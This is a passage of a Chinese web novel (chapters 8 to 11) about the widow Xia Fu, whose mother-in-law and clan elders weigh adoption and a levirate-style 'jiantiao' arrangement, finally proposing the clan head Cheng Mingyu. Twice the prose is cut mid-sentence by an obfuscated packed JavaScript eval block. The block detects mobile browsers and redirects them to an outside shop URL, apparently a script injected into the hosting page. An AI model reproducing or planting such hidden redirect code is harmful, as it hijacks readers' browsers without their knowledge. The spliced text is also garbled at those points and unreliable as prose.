说白了,拿名额换诰命,换一份保障。 孟氏却觉着没这么简单,“依我看呐,你索性在族中过继个孩子。要么是远房的,父母不在弘农,要么是孤儿。万事捏在自己手里,才不白瞎了这么个好机会。” 这回夏芙不知想起什么,轻嗤一声,没有立即答她的话。 三伏天的午后炎热不堪,夏芙的秋香苑并不宽敞。坐了这一会儿,二人面上便渗出了汗。夏芙寻了一块帕子给孟氏,自个儿抚着热腾腾的面颊,笑了笑,“这还不是替旁人养儿子么?也不知养不养得好,万一呕心沥血把他养大了,回头与我离心离德,我去哪儿说理去?” 她娘家的兄弟便是现成的例子,叔父膝下无儿,自旁支过继个儿子来,满心眼里待他好,结果呢,如今将寡婶幼妹撂一边。 前段时日寡婶写信来,只道那兄弟拿了主家的银子偷偷给了亲爹亲娘,可没把寡婶给气死。 孟氏想了想,也兀自头疼:“也对,十四房的大少爷也是过继来的,少时爹爹娘亲喊得可亲热了,如今翅膀硬了,成日里跟那头亲近,十四叔暗地里受了不少气。” 转眼的功夫,机灵的孟氏又有了主意,“要不这样吧,去外头慈幼院抱个孤儿来,当亲生的养。如此你便无后顾之忧。” 夏芙笑笑,懒懒抚了抚发梢,这回语气更加坚定,“我不养别人的孩子,不是我肚里出来的,永远养不熟。” “再者,我婆母也不会答应,有现成孙儿,何必舍近求远。” 孟氏捂住了头额,“这也不成,那也不成,这可如何是好?难道就没两全的法子吗!” 夏芙不愿继续这个话茬,“罢了,我就不操这份闲心了,交由婆母拿主意吧。” “天热,我给你沏一壶金银花茶下下火气。” 夏芙这厢吩咐秋蕖沏茶。片刻,茶水送进屋,二人又说起闲话。 “你过门这般久了,怎么还没动静?”孟氏与程明英成婚已有一年半了,她那婆母不好相处,夏芙替她担心。 不料孟氏这回却轻轻抚着小腹,小心翼翼地说:“我这个月月事迟了,也不知是不是有了,再等几日看看。” 夏芙一听,比她还高兴,忙握住她的手腕,“这敢情好!我闲来无事,便先替你预备起来。孩子的小袜子、虎头鞋、汗衫儿,我替你备了。” 孟氏小声道,“别急,还没准信呢,我怕空欢喜一场。 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金氏提着裙摆进了屋,甫一行至珠帘处,便得里头四太太劈头盖脸一顿骂, “你可知为何不能给你?不是我不愿给,是你不配,这些年你待芙儿如何,你心知肚明!可怜的小娘子,已然谨言慎行,大门不迈二门不出,你却处处提防她,欺负她,你当我不知道呢!如今她有了好处,你却想来争一争,你羞不羞!” 金氏见四太太毫不留情面,脸面也通红,“娘,那是过去,过去我着实待芙儿有所偏颇,如今媳妇也知错了,眼下里已把她当姐妹,往后一同抚养孩儿,更是亲如一家,谁家里妯娌之间没个摩擦龃龉的,一家人到底是一家人,相比老三家的,您把芙儿交给我,不是更妥帖?” 她才是四房掌中馈的媳妇。 到了这个关头,索性也不必藏着掖着,干脆摊开了说,“待您百年,她一个寡妇,总得有个人帮衬她呀!她把名额给我,才是落了实在!” 夏芙将来还要在她手里讨日子! 四太太听出她弦外之音,一口血险些喷出,“你威胁我?眼下你连我都能威胁,哪日我去了,芙儿岂不是任你捏圆搓扁?” 珠帘内的四太太撑着圈椅手柄,气得胸口起伏不定,已是摇摇欲坠。 金氏又恐婆母气病,又不敢进屋,急得团团转,最后是四太太身侧的管事嬷嬷,呵斥一声,将金氏骂走了。 饶是如此,四太太还是病倒了,眼下荫庇名额便是一个香饽饽,别说本家两个儿子,便是外头族里人都盯上了,四太太好不焦心。 一道恩旨反而成了祸胎。 事情到底传得人尽皆知,翌日清晨,各房太太前来探望,有人劝四太太, “一碗水端不平,为免两个儿子吵起来,我看您干脆在族里过继一个,这样他们都没话说。” “就是,说到底这事得芙儿拿主意,朝廷下发恩旨,未必没有让嗣子侍奉寡母终老的意思,过继个孩子,芙儿后半生方有保障。” 此两位太太房里有的是儿子,儿子又生了一窝孙子,均巴巴指望被四太太过继。 四太太听得心烦,其中十二房的太太与四太太交情不俗,见她不堪烦扰,将其余人赶走,坐在她塌侧,“你别听她们的,此事不妥。” 四太太揉了揉眉心,“怎么个不妥法?” 十二太太道,“其一,指不定养不熟,你看十四房便知。其二,芙儿过于貌美了,年轻的寡母,没有血缘的嗣子,待在一个屋里不合适,可别回头没给芙儿寻个倚仗,反而招了祸事来。” 这话说到四太太心坎上。 她太知道这个孩子有多招人,连憨直的程明同瞧了她还脸红呢,遑论他人。 一时找到了知音,“我何尝没有这等顾虑,那孩子孤苦,全靠我替她筹谋,我若不能将她安置周全,百年之后如何去见祐儿。” 想起白发人送黑发人,四太太又是一阵心酸。 “那依十二弟妹,此事该如何了难?” 十二太太是个有主意的,轻轻替她掖了掖薄衾,语重心长,“兼祧,让芙儿兼祧,孩子自她肚里出,母子连心,方保一世安稳。” 四太太猛地抬起头。 所谓兼祧,本是一子娶两房妻,所生子女分别继承两房香火。但随着世道演变,也有因事制宜的情况。譬如夏芙这等情形,便可由族内其他兄弟兼祧她一房,所生孩子继承程明祐的香火。 程家绵延数百年而不衰,五服之内的族人尚有几十房,出五服外的程家人更是数不胜数,兼祧之事并不罕见,程家十八房便是如此。 四太太眼眸如拨云见日般,亮堂起来。 “好主意,如此的确是两难自解,就看芙儿应不应了。” 9. 第 9 章 四太太听罢十二太太的话,豁然开朗,“就这么办,不过此事你知我知,暂且不要外道,我恐又惹出许多风波来。”以夏芙的美貌,难保不招人垂涎。 十二太太心如明镜,颔首道,“你放心,我有分寸。”说罢便起身告辞。 然隔墙有耳,消息终究走漏了出去。 自程明祐过世,四房的格局便悄然转变。过去万事以程明祐这位新科进士为先,下人们也巴巴地讨好夏芙。如今程明祐一死,四房便由大爷程明泽撑着,私下自有人暗通长房,给自己留退路。虽说程明泽不至于在自己母亲跟前安插眼线,可若有人主动投效,他也照单全收。 “兼祧”这个主意到底传到了程明泽耳朵里。他一听便呆住了,脑海慢悠悠浮现出夏芙那张娇艳的面孔,心神跟着一晃。 那是一张让任何男人都无法拒绝的面孔,眉若远山春黛,目似秋水横波,身姿袅袅娜娜,懵懵懂懂地望过来时,瞳仁里像是凝着一层薄薄的水雾,带着浑然天成的魅惑,看她一眼都能酥了骨头。 名正言顺兼祧,谁能不意动? 程明泽忽然拿定主意,掀着衣摆来到上房。 四太太正喝了一碗参汤,歪在榻上歇息,听得一道沉稳的脚步声,倏忽睁开眼。 程明泽含笑来到她跟前落座,见她面上有汗,顺手为她递了块帕子, “娘,儿子突然有个主意,可解娘心头忧愁。” 四太太没接他的帕子,靠着引枕,狐疑看他,“什么主意?” 程明泽道,“儿子回去突然想起了十八房,要不,咱们循着旧例,让夏芙兼祧吧。” 四太太心头一惊,她与十二太太刚合计出一个主意,儿子转背便来敲边鼓,这是有人偷听了去告密,还是当真不谋而合?她面上不动声色, “依你之见...” 程明泽苦笑,“儿子也不卖关子了,索性让儿子兼祧了夏芙,为明祐留个后...” 话未说完,却见四太太脸色一变,眼若两个黑窟窿似得盯着他,盯得他浑身发麻, 程明泽心虚道,“娘,这不是两难自解的好事吗?儿子也是深思熟虑过,才来跟您提。” “你若深思熟虑过,就不该来提这话。”四太太脸色铁青,坐直了身骂道,“我看你也是觊觎芙儿美色!” 程明泽被母亲看穿心思,脸上有些挂不住,却也没有否认,“娘,是又如何?如今还有别的选择吗?您把她交给我,我自护她一辈子,如此孩子有了,靠山有了,弟妹未必不依!” “再说了,儿子也着实舍不得这个名额,我是您的嫡长子,是该撑着四房门楣的人,我的孩子自当入朝为官,有何不可!” 四太太眼神凉凉扫过来, “然后呢?等着你媳妇视她为眼中钉肉中刺,将她蹉跎至死?我告诉你,谁都可以,独你不成,若叫你兼祧,便是害得四房鸡犬不宁,那我不如当从来没有这个名额!” 四太太心头雪亮,早将这里头的厉害看的明明白白。 程明泽闻言急了,“娘,您宁可便宜外人,也不叫儿子如意?” 这话可是三教九流的荤话,惹出四太太的火气,“你怎么能说出这种话?你把她当什么了!”四太太好不容易养回来的一点血色又被他气回去了,胡乱抓着床榻几个引枕对着他砸去,“滚出去!” 程明泽气急败坏往外走,四太太看着他恼怒的背影,追骂一句,“去问问你婆娘,她答不答应!” 金氏当然不答应。 天下没有不透风的墙。两刻钟后,消息便传到了她耳朵里。 她气势汹汹奔来前院的书房,进了屋便抽起程明泽悬挂在墙壁处的一把宝剑,对着桌案后颓然出神的男人砍来:“你个混账东西!亏我待你一心一意,你却背着我打别人的主意?也不看看自个儿什么德性,那夏芙看不看得上你?你若兼祧,我便回金家,我去家主处告状,我让你没好日子过!” 程明泽见金氏撒起泼来,也是吓住,慌忙往博古架后闪躲,“祖宗,你急什么,我岂能不跟你一条心,我那不过是权宜之计....” 夫妻俩在书房闹闹咻咻,好半日方平息。 四太太这边直挺挺躺在木榻,至傍晚方喘过气来。 彼时小儿子程明同自族学回府,大抵也自下人口中听说了些门道,进屋给四太太请安时,脸色便有些不自在。 四太太见是他,神色缓了几分,“回来了?功课学得如何?” 程明同笔直地坐在她跟前的锦杌,乖顺地点头,“今日家主亲自授课,讲述了一篇策论,儿子都记住了。” “家主满腹经纶,才贯古今,所陈策论,必是经世致用之良言,你当字字铭记在心。”说完见他欲言又止,四太太笑道,“怎么了?你这是有心事?” 程明同从来不跟母亲隐瞒,苦笑道,“娘,我知道您在为二哥嗣子一事发愁,儿子不知该如何帮您。” 四太太看着乖巧的小儿子,沉默片刻便将兼祧的事与他说了。 听得程明同目瞪口呆,“还可以这样吗?” 四太太瞟着他,“你意下如何?” 程明同登时烧得满脸通红,双手早不知往何处安放,“嫂嫂固然很好,可是我觉着这么做,对不起二哥....” 他羞愧地垂下眸。 羞愧就意味着有念想,四太太心情五味杂陈,甚至略有些失望。 她倒宁可程明同如程明泽一般,勇于站出来承认,勇于担起这桩事,像个男人俘得夏芙芳心,他没有娶妻,他无后顾之忧。若是儿子争气,她索性一不做二不休将夏芙改嫁程明同,可惜小儿子少了几分担当的骨气。 又能怎么办。 他已然是最好的选择。 “我问问芙儿的意思。” 程明同期待着点头,“一切照着嫂嫂意愿来,儿子听凭母亲吩咐。” 等着别人给他拿主意.... 家里的男人不是死了就是没用,全得靠她来担着。 四太太在心里默默叹了一口气。 傍晚,夏芙晨昏定省,四太太便将意思摊开了与她说。 夏芙给吓住了,“兼祧?” 一双杏眼睁得雪亮,并无欢喜,更多的是惊吓。 四太太见状,便知犯难,却还是硬着头皮说道,“他兄长这边我不考虑,就是明同,他眼下尚未成婚,先与你兼祧,替祐儿绵延子嗣,若是往后你愿意,便干脆改嫁于他,再替他生个孩子罢,我也想明白了,往后让老大一家去京城过,我陪着你们在弘农,如此互不相干。” 不等她说完,夏芙俏脸浮冰,斩钉截铁摇头, “我不答应,明祐尸骨未寒,我却改嫁他弟弟,这像什么话!”说着夏芙眼眶发酸,闭了闭。 四太太也不意外,叹了一声气,将她拉至跟前坐着,“你若是不愿改嫁,那兼祧呢?你可愿意?” “那就更不成了,如此后患无穷!”夏芙抬眸看向四太太,焦急道,“娘,眼下明同还未成婚,尚无掣肘,待他日,他再娶一房妻进门,晓得了这事,岂不膈应得慌?届时可真是没安生日子过了。” 四太太何尝不知,不由苦笑,“所以,我这不是劝你改嫁明同么?” 又绕了回来。 夏芙脸一红,“娘,明同在我眼里跟个孩子似的,我岂能...” 四太太笑着斜了她一眼,“他不过小你一岁,今年也十七了,旁人家这个年纪,做爹的都有。罢了罢了,你不愿意,娘还能强按你不成?” 见婆母无强求之意,夏芙也放了心,陪坐片刻,见她精神懈怠,伺候她喝了安神汤,便退了出来。 四房这桩事终究是闹得长房大太太知道了,翌日晨遣了个嬷嬷来问究竟,四太太今日身子已大好,索性搭着嬷嬷的手,去往长房,“怕你说不明白,我干脆亲自去给大嫂请个安。” 进了屋,却见周氏坐在明间罗汉床,一只腿伸去底下罗凳,正叫女医在推拿, “大嫂,你这是怎么了?” 周氏往小腿根指了指,“几日前夜里起夜,突然崴着了,若非如此,我早去四房看望你与芙儿。怎么回事?听说你们四房闹翻天了?” 四太太神色一收,往四下扫了一眼,周氏心里透亮,示意众人离去,只留一老嬷嬷守在屏风外。四太太这才往她跟前的圈椅坐下,一五一十将荫庇名额与兼祧的事给说了。 周氏听到“兼祧”也愣了下,“芙儿没答应吧?” 四太太苦笑,当着周氏的面也不遮掩了,“她岂会答应?自是一口回绝。” 周氏默然片刻,替她分析, “过继外头的孩子,芙儿自个不答应。过继明泽的儿子,你那长媳怕是不好相与,芙儿会被吃的骨头都不剩。过继明同的孩子,你老大一家又不肯罢休,着实难办。” “至于兼祧,老大家铁定是不成的,只会惹得一身骚,芙儿吃不起那个苦。只能是老三,不过恕我说句实话,明同性子和软了些,也护不住芙儿,两个孩子均懵懵懂懂的,若是凑一处过日子,我怕你一颗心安在他们身上都不够。” “但也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唤做沉香的丫鬟取了那盒东珠来,亲自给大太太挑,周氏挑了最大的五颗,全让四太太带去给夏芙,那一颗颗,晕彩流金,浑圆饱满,散发着绸缎般细腻的光彩,跟金色的鸽子蛋似的,是可遇而不可求的好货。 四太太心底吃惊,拿着不安,“这...”若是被周氏另外的媳妇知晓,怕是要吃埋怨。 周氏瞪了她一眼,让她放心拿去。 四太太仔细将锦盒收入袖筒里,搭着丫鬟手臂往外去,心底再一次为长房的富贵而咋舌。 过了穿堂,东边毗邻一处水泊,绕水泊而过,有一扇小门出长房,那是去四房最近的路,待四太太带着人行至水泊旁的花厅处,便见前方廊庑迈过来一人。 阳光漫过廊柱,他一身素衫信步而来,五官眉目宛如一幅浑然天成的水墨画,白色发带拂过手侧,恰似指尖泻玉,一身清越之气扑面而来,如月出云岫,松立空山,周遭万物皆成了他的陪衬。那一瞬,四太太终于明白,为何“风华绝代”四字,只配用在他身上。 四太太在花厅廊下驻足。 程明昱也发现了她,立在游廊的台阶朝她抬袖一揖, “请四婶安。” “见过家主。”四太太稍稍欠身,眉目和善问他,“月底便要除服,明昱恐要回京吧。” 程明昱轻描淡写回道,“不急,漕运尚有些事亟待处理。” 事实上皇帝起复他为参知政事的圣旨已抵达他的案头,只是近来皇帝新诞生了一位皇子,朝堂正为改立太子而争执不休,程明昱不愿裹入党争,打算多留数月,待铲除阻碍漕运的毒瘤,再归京不迟。 朝堂上的事,四太太不明白,也不敢多问。 好不容易遇着他,便说起程明祐荫子一事,“明昱,朝廷诏令下来是个什么章程?我眼下还没拿定主意,申报怕是要缓一缓。” 程明昱坐书房而知天下事,程家堡很少有什么动静能瞒过他,端看他插手不插手,是以四房荫庇一事,他也自管家处有所耳闻,不过没放在心上,眼下四太太提起,便知她担心错失名额。 他温文含笑,“四婶放心,有我在,无忧。” 有我在,无忧。 听听,字越少,听得人越心安。 旁人一车轱辘话也抵不过他一个眼神。 家主的庇护哪怕一丁点也够她们受用一辈子。 有这样的儿子,大嫂好福分哪。 有这样的男人做靠,是几世修来的造化... 等等。 四太太脚步一顿,脑海突然冒出个大胆的念头。 10. 第 10 章 七月初七,乞巧节,民间亦叫七夕节,今日的程家堡车水马龙,堡内几条纵横八达的街道摆满了香果针线绣囊子,扎着灯笼预备夜里游街,这一日是姑娘少爷最喜爱的节日,可以放开了手脚上街游玩。 不过这不适用守寡的少妇。不上街的少妇相互赠些绣活,便当全了这个礼。 夏芙的绣工实在不怎么样,于是编了个一个花环赠给孟氏。 上回听闻孟氏月事推迟,有怀孕的征兆,今日正巧来打听个准话。 果不其然,绕过紫檀雕花屏风,进了东次间,便见孟氏倚在那张靠墙的黑漆描金罗汉床上,胸口搭条薄衾,眉眼生倦。一堆丫鬟来来往往,有人奉参汤,有人递帕子,还有人帮着垫引枕,四五人忙得手忙脚乱,好似伺候什么宝贝疙瘩,唯恐磕着碰着。 夏芙心底有了数,扬声笑道,“这么说,可是有了?” 孟氏从人缝里辨出夏芙身影,赶忙将丫鬟们使开,热情地招呼,“芙儿,快过来坐。” 丫鬟们又挪来一张圈椅挨着罗汉床,伺候夏芙坐下,奉了茶,摆了瓜果,这才退下。 孟氏眼见地快活了,眼底的笑意溢出来,半搂半抱靠在夏芙肩处,欢喜道,“是有了,昨个晨起吐了一遭,夫君请了大夫来,把出喜脉,我婆母总算给我个笑脸,喜得今个一早去城外拜菩萨去了。” 夏芙笑吟吟的,“你怎么也不给我送个信,害我今日空手来!” “什么空手来,你这花环便编的极好,给我戴戴。”说罢便自她旁边的高几将花环拾来往头上去,夏芙却眼疾手快夺过来,起身将之搁去了外间, “你如今怀着孕,也不知这里头的花粉熏不熏着你,若是回头有个不适,我可担待不起。” 两人话了几句闲,孟氏问起那桩事。 夏芙面色娇红,“我婆母提出兼祧,不过我没应...”她做不出与旁的男人亲热之事来,这与背叛丈夫没两样。 孟氏一听,却如通了七窍似的,眸色顿生雪亮,猛一把拽住夏芙手腕,“我觉得成啊,你不是不想养旁人的孩子嘛,那就自个生。” 她捂着小腹,“有个与自己血脉相连的孩子,是多么幸运的事。你不知我这两日高兴成了什么样。我从未这样满足过,我竟也能做母亲了。” 夏芙何尝不想要自己的孩子,她羞答答的,“那我也不能为了个孩子,便与旁的男人...” “这有什么?多少妇人再醮不也过得好好的?你只当是改嫁,想开些,不过是多睡个男人的事。” 夏芙听着她混不吝的语气,恼了她一眼,“我可不与四房的两位爷兼祧,回头他们的媳妇还不吃了我?放着安稳日子不过,何必折腾一遭。” “待你婆婆百年之后呢,你守得住么?你将来靠谁?”孟氏肃然盯住她,“芙儿,你不要只看眼前,要看将来呀。” 夏芙顿时哑了口,神情黯淡下来。 孟氏复又拉住她,推心置腹道,“芙儿,你生得这般模样,容易招男人觊觎,家主人在弘农,有他镇着,你安全无虞,待家主归京,那些王八羔子私下欺负你,你又当如何,你敢声张出去吗,可不得暗地里受着么。” “无儿无女的俏寡妇,谁见了不眼热啊,我夫君昨个提起你,还劝你改嫁呢!” “有个孩子便不一样,有孩子傍身,便如同生了根,往后整个程家,没人敢看轻你。更何况这个孩子将来可是要做官的,你的福气在后头呀!芙儿,说句掏心窝的话,换做是我,毫不犹豫选择兼祧,只有拽在自己手里的,才是靠得住的。” “别看我眼下怀了孕,我的孩子将来是何光景还未可知,你的孩儿不然,出生便注定前程似锦。” “迈出这一步,便是康庄大道,你还犹豫什么!”孟氏都替她急。 这番话字字句句都戳在夏芙心坎上,她被说得有些意动,“可是四房...” “四房那两个不成,我晓得你顾虑妯娌,唯恐日后招恨。”孟氏截住她的话,为她拿主意,“我的意思是,在族里挑,挑个鳏夫!请族老出面,为你主持大局。” 夏芙实在惊讶,旋即发笑,“让外头的男人兼祧,叫我婆母为旁人养孩子,怕是不能够。” 孟氏一听也泄了气, “哎呀,此事真真难得两全。” 夏芙见她为自己愁眉苦脸殚精竭虑,十分内疚,“好了,我的事你别操心了,顾着自个身子吧,头次怀孕,可要养仔细些,万不能出差错,否则能落下病根。” 孟氏哼道,“我好着呢,一堆人伺候,能出什么事?反倒是你,我不为你挂心,还有谁顾着你?” 夏芙唯恐她为自己劳神费力,碍着她养胎,略坐片刻就辞了出门。 回了秋香苑,只见几个丫鬟均立在廊庑站班,一个个拿眼神瞧她,大气不敢出。 夏芙与文宁相视一眼,略觉疑惑。 自文宁来了秋香苑,内务委于秋蕖,出门便由文宁服侍左右,现如今两个女婢一内一外,倒也配合得相得益彰。 秋蕖朝里努努嘴,暗示她太太在里头。 夏芙敛色,快步进了屋。 没多久,出来一婆子,手中绣帕一扬,“太太与奶奶在屋里叙话,你们都散了吧。” 将人全部使出去,不叫人窥探。 里屋,四太太一脸郑重坐在主位,神情不似往日温和。 夏芙越发悬了心,先给她斟了一杯茶,挪至她跟前坐下,“娘,出了何事?” 四太太细细逡巡她姣好的眉眼,有些不知该如何开口,这一路回来,念头如藤蔓一般在她心底肆意攀长,捆得她几乎喘不过气来。 这无疑是个绝妙之选,一旦事成,可保四房荣华富贵。 再难,也要试一试。 四太太深吁出一口气,露出如常的笑容,“孩子,我知你担心妯娌之间生嫌隙,不愿与明泽或明同兼祧,若娘问你,在族里挑人,你意下如何?” 这话把夏芙问住了,婆母这意思竟与孟姐姐不谋而合。 原先顾虑婆母不愿替旁人养孙,不料眼下却主动提起,倒令夏芙十分意外。 消息来的太突然,夏芙抿唇,没有立即回应。 四太太一看她这模样便知有戏。 “在族里挑个可靠的男人,生了孩子记在明祐名下,是你肚里出来的人,不用担心孩子背叛你。” 夏芙失笑,“去哪里找个处处妥帖的人?回头能顺利地一刀两断吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523839|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我只问你,若我能打消你所有顾虑,你愿不愿意寻个人兼祧。”四太太截住她的话。 夏芙看出婆母似乎已有主意,狐疑地问,“婆母这是有了人选?” “程明昱!” 夏芙倒抽一口凉气,手中帕子一松,直直滑下膝盖,她不可置信盯着四太太,好一阵吃惊,渐渐的,觉着婆母过于异想天开,反而笑起来,“娘,亏您敢打这样的主意,家主怎么可能答应这么荒唐的事!” 四太太急了,加重语气,“你别管,我就问你,若是他,你愿不愿意?” 夏芙一怔,陷入沉默。 四太太只能掰着手指给她说明厉害。 “一旦兼祧成功,这个孩子名是明祐之子,实则是族长之子,有程明昱这个亲生父亲暗中襄助,还怕孩子将来仕途不顺遂么?” “明昱此人人品贵重,又曾立誓不再续弦,如此,事成后,你不必担心他与你纠缠,更不必担心有旁的女人记恨于你,你白白得了个孩子,给明祐继承香火,替四房撑起门楣,何乐而不为?” “其三,待你成了明昱的兼祧之妻,这辈子,还有谁敢欺你?辱你?即便他不娶你,也绝不会看着旁人打你的主意,你往后便是高枕无忧啊。” 还有一桩好处四太太没有言明,长房富贵无极,将来未必不会给孩子一份产业,这于四房和夏芙而言,是百利而无一害。 唯一诟病之处,便是这个孩子与四房毫无血缘。 又有什么关系呢。 在巨大的利益面前,她选择为四房谋个稳妥的前程。 找了程明昱,便如同为四房找了最强大的靠山。 夏芙一字一句听完,寻不到任何可反驳之处。 有亲生的孩子傍身,有安虞无忧的未来,这一桩桩的好处摆在这里,连夏芙都没了抵挡力。 “可是,这么做,对不住明祐。”夏芙声音渐渐低下去,捂住脸,嘤嘤地哭了起来。 四太太何尝不知这么做对不住明祐,又能怎么办,活着的人还得活下去。 四房不能垮。 她轻轻地将夏芙抱入怀里,柔声开解, “孩子,你为祐儿留一脉香火,让四房有靠,让你我有人奉养,明祐在天之灵定能明白这番苦心,他不会怪你的。” “只是兼祧而已,若是顺利,很快便能怀上,你还是明祐的妻。” 夏芙哭得双眼通红,轻易过不了心里那关,当然也挣扎,勉强笑说,“即便我答应,家主也不会答应,我看娘是打错了算盘。” 四太太也知此事成不成,根源在程明昱。 总归要试试。 “芙儿,你给我个准话,若我说服他,你不可打退堂鼓,成吗?”四太太神情严肃,已是将她往梁山上逼了。 说服程明昱可不是件容易的事,一旦那头谈妥,夏芙这边再出岔子,便是狠狠得罪了长房,得罪了族中长老,届时收不了场。 夏芙也深知这里头干系不小,心下彷徨,然婆母坚定的眼神昭告她没了退缩的余地,姑娘被赶鸭子上架,咬着牙点头, “好,我答应您。” 她应是应了,不过在夏芙看来,家主答应的可能性极小。 11. 第 11 章 这头说服了夏芙,接下来便要拿下程明昱。 四太太或许没有长房周氏那般高瞻远瞩的见识与明快豁达的气魄,然若论人情场里纵横捭阖却是一把好手,当下夜里便决定先说服几位族老,为自己掠阵。 她先去的是出主意的十二房。 一进屋便先朝十二太太夫妇哭诉一番,将程明泽与程明同争抢兼祧一事给说了,哭得一把鼻涕一把泪,怨自己命苦,没生个争气的儿子,怨四老爷去的太早,丢这么个烂摊子给她。十二太太与十二老爷都是看着她一个人艰难撑过来的,听得肝肠寸断,恨不得将四老爷从坟墓里给拽出来。 “嫂嫂,您别哭,这事总归要寻个解决的法子。” 四太太忍住泪水,哽咽道,“还有一桩事,我不敢瞒弟妹,前段时日那程明旭之所以被家主赶去崖州,是因他居心叵测欲将芙儿拖去林子里,被明昱逮了个正着,若非明昱发现及时,芙儿恐就出了事。” 十二老爷夫妇大为震惊,更为愤慨,“竟有这等禽兽不如之事!” 四太太痛心疾首,“此事二老大可去问明昱,我不敢撒谎。” 十二太太在程家素有侠名,平日但见不平,定出手相助,今日也没有袖手的道理,“还是得寻个一劳永逸的法子,安置芙儿才好。” “可不是?我这不来寻两位做主。” 十二太太道,“嫂嫂说吧,你打算怎么办?” 四太太道,“我打算让明昱兼祧芙儿,如此方可保芙儿一世安稳!” 十二太太二人听得这个人选,顿露愕然,夫妇相视一眼,立即嗅出了这里头的门道。 四太太这主意打到族长身上,多少叫二人有些不满,算盘珠子崩得未免也太响了些,端看四太太,十二太太未必想淌这趟浑水,然考虑到夏芙,确实没有比程明昱更好的人选。 一个鳏夫,一个寡妇,一个不肯再娶,一个不愿改嫁,若论兼祧,舍他二人其谁。 十二老爷没得话说,看向妻子,“夏氏性子弱,又生得好,还真明昱不可。” 丈夫发了话,十二太太便干脆拍板,“就这么定了,他十二叔,此事你来牵头。” 随后十二老爷便招呼上族里颇有威望的五老爷,与有兼祧旧例的十八老爷,一行浩浩荡荡往长房赶来。 程明昱的事,得先过周氏这一关,是以大家伙一拥进了周氏的荣华堂。 周氏下午刚叫人陪着玩了会叶子牌,此刻正在罗汉床上歇息,听得婢子一个个来报,眯起了笑眼, “哟,今日是什么风,将你们这些族老都给吹了来?” 她腿尚未好全,见人来的这么齐,也不得不起身相迎。 大家均知她腿脚不便,慌忙上前将人按下。 “长嫂跟咱们客气什么?我昨个没来给您请安,您可好些了。”十二太太殷勤地将人扶住。 周氏抬手示意丫鬟上茶,招呼大家坐下,笑着回,“好多了,过不了两日便可去园子里逛逛。” “后日我家孙儿满月,我亲自来接您去府上吃酒。” “不用你接,我自个儿去凑热闹。” 起了个兴头,大家伙依辈分落座,四太太坐在左面下首,斟酌着开口, “大嫂,今日前来,实则是有事求您帮忙。” 程明昱跟前需旁人牵头,周氏这里,却得她亲自开口,如此方显诚意。 周氏也看出今日阵仗非同凡响,怕不是小事,神色不露分毫,问道,“什么事,你只管说。” 四太太便将请程明昱兼祧一事给说了,说完几人齐齐注视周氏,等着她反应。 周氏果然好一阵发愣。 叫明昱兼祧夏芙,这么说,便是叫夏芙给她做儿媳妇? 这可是天大的好事。 周氏在脑海想象一番夏芙与儿子并身而立的画面,只觉一个年轻俊美高大温柔,一个扶风弱柳貌美娇憨,般配得紧。心里那撮喜悦蹭蹭便要溢出来了,转念想起儿子那德性,心头打了个趔。 这事儿怕是难。 四太太打得什么主意,周氏一眼看透,笑得不露声色, “何必兼祧,径直将芙儿嫁予明昱得了,回头让明泽过继个孩子给明祐,此事便两全。” 谁乐意把子嗣交给旁人家养,她还嫌自个孙儿不够多呢。 四太太僵硬地笑了笑,没有接这话。 这回换五老爷替她开口, “明昱肯吗?” 一句话把周氏给噎住。 即便夏芙肯嫁,以她儿子那认死理的德性,必定是不肯娶的。 再者,接连两个儿媳病故,这让一向不信鬼神的周氏也变得瞻前顾后患得患失。 万一儿子真是克妻的命呢。 岂不害了人家姑娘。 周氏不得不有所顾忌。 十二太太笑着打圆场,“大嫂,明昱当着所有族人的面发誓终身不娶,此话不是儿戏,让他娶芙儿怕是不可能,我看兼祧更合适。” 程明昱以信誉著称于世,没有食言的可能。 周氏也觉有理,只能打消这个念头。 这么一来,不得不正视兼祧。 儿子总不能做一辈子的孤家寡人,万一两人看对了眼,即便不明媒正娶,以兼祧的由头伴着过日子也不错。身为母亲,私心还是盼着儿子有个伴。 虽不大乐意将自家孙儿交予旁人抚养,但有总比没有强。所以,周氏对这个主意并不抵触。 她摊手道,“就怕我儿子不答应。” 五老爷道,“只要您首肯,明昱那边我去说项。” 日头往西斜,眼见快到晚膳光景,周氏干脆留了饭,一行数人聚在荣华堂西面的花厅热热闹闹吃了席,期间四太太给周氏敬了几回酒,“这事还请老姐儿帮着劝劝明昱,芙儿的未来可就托付在您老手中。” 周氏举杯相碰,“你们先打头阵,探探他的底细。” 两刻钟后,仆人来报,家主已归家,正在书房忙碌。 众人看向周氏,周氏拄着拐杖起身,“走,咱们去沐心堂。” 沐心堂便是程明昱的书斋,地处程家长房中轴线之西,是个小三进的院落,前院待客,回廊拥过去是五开间的书房,最后一进则是寝院,程明昱娶妻之前及丧妻之后,均独居于此。 程明昱喜静,书斋北邻竹林,东毗水泊,院墙不高,用旧青砖砌成,古朴的雕窗与院内外景色搭配得浑如天成,脚下不铺寻常石板,而是老匠人磨得极细的水磨方砖,雨后呈出淡淡的蟹青色,踏上去不响不滑。就连院子里随意栽植的花草均是天南海北来的名贵品种,遑论屋内摆设。真真一物一器,莫不细琢,蕴奢于朴,藏雅于微,尽显百年大族的清贵之气。 几人来得突然,程明昱来不及出迎,待握着文折绕出书房,便见四太太一行已踏进了穿堂。 年轻的家主一袭茶白长衫,款步从书房穿来前厅相候,他身量极高,肩背挺秀,袍服顺着窄腰垂下,行走时裙带当风,立在厅中正北的祖宗挂像下,朝众人抬袖环揖,“给诸位长辈请安。” 无论何时何地,礼仪周全挑不出一丝错。 